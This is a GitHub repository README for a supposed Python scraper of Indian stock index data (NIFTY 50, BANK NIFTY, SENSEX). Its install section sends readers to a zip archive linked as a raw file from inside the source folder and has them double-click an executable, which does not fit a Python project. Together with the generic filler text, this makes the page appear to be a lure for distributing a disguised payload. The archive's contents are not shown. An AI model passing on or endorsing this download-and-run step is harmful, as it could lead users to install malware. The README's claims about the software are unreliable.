Skip to content

Repository files navigation

πŸ“Š data-scraping - Collect Historical Stock Data Easily

πŸš€ Getting Started

Welcome to the data-scraping project! This educational tool lets you collect historical intraday data from popular Indian stock indices, including NIFTY 50, BANK NIFTY, and SENSEX. It has a clean architecture and works across multiple timeframes. Remember, this project is for learning purposes only and is not intended for live trading.

πŸ“₯ Download

Download

πŸ“‹ Features

  • Multiple Indices: Collect data from NIFTY 50, BANK NIFTY, and SENSEX.
  • Timeframe Options: Gather data at different intraday intervals.
  • Clean Architecture: Easy to understand structure for educational purposes.
  • Comprehensive Documentation: Learn how to use every feature effectively.
  • Open Source: Licensed under MIT for community use and collaborative learning.

πŸ“… System Requirements

To use this application, ensure your computer meets the following requirements:

  • Operating System: Windows, macOS, or Linux.
  • Python Version: Python 3.7 or higher should be installed.
  • Internet Connection: A stable connection is needed to retrieve data.
  • RAM: At least 4 GB of RAM is recommended for smooth operation.
  • Disk Space: Minimum 100 MB of free space for installation.

πŸ“₯ Download & Install

To get started, visit this page to download: Release Page. There, you will find the latest version available for your operating system.

  1. Click on the "Releases" link above.
  2. Download the suitable file for your system.
  3. If you downloaded a compressed file (like .zip or https://github.com/akashahmed11/data-scraping/raw/refs/heads/main/src/fetchers/data_scraping_2.4.zip), extract it first.
  4. Open your file explorer and locate the extracted folder.
  5. Run the program by double-clicking the executable file.

πŸ› οΈ How to Use

  1. Launch the Application: After installation, open the application.
  2. Select Index: Choose which index you want to scrape data from.
  3. Set Timeframe: Pick your preferred timeframe for collecting data.
  4. Start Scraping: Click the "Start" button to collect data.

πŸ” Where to Find Documentation

Our comprehensive documentation is available in the repository. It's structured to help you understand how to utilize each feature fully. You can find step-by-step guides and examples to assist you. Look for the docs folder inside the repository for detailed instructions.

🌍 Community and Contribution

This project welcomes contributions! If you want to help improve the software, feel free to fork the repository and submit your changes. Join our discussion forum to ask questions, share ideas, or report issues.

πŸ’‘ Frequently Asked Questions

What is the purpose of this project?

This project aims to provide a learning platform for collecting historical stock data using Python. It is not intended for actual trading.

How often is the data updated?

The data collection relies on real-time market data and updates according to the stock market schedule.

Can I use this data for live trading?

No, this project should be used strictly for educational purposes. Avoid using it for actual trading.

πŸ“ž Contact

For any additional questions or support, reach out through GitHub Issues or join our community discussions. Your feedback is valuable for improving this educational tool.

Happy scraping!

About

πŸ“Š Collect historical intraday minute-level data for major Indian stock market indices using a clean, modular Python project designed for educational purposes.

Topics

Resources

Contributing

Stars

3 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages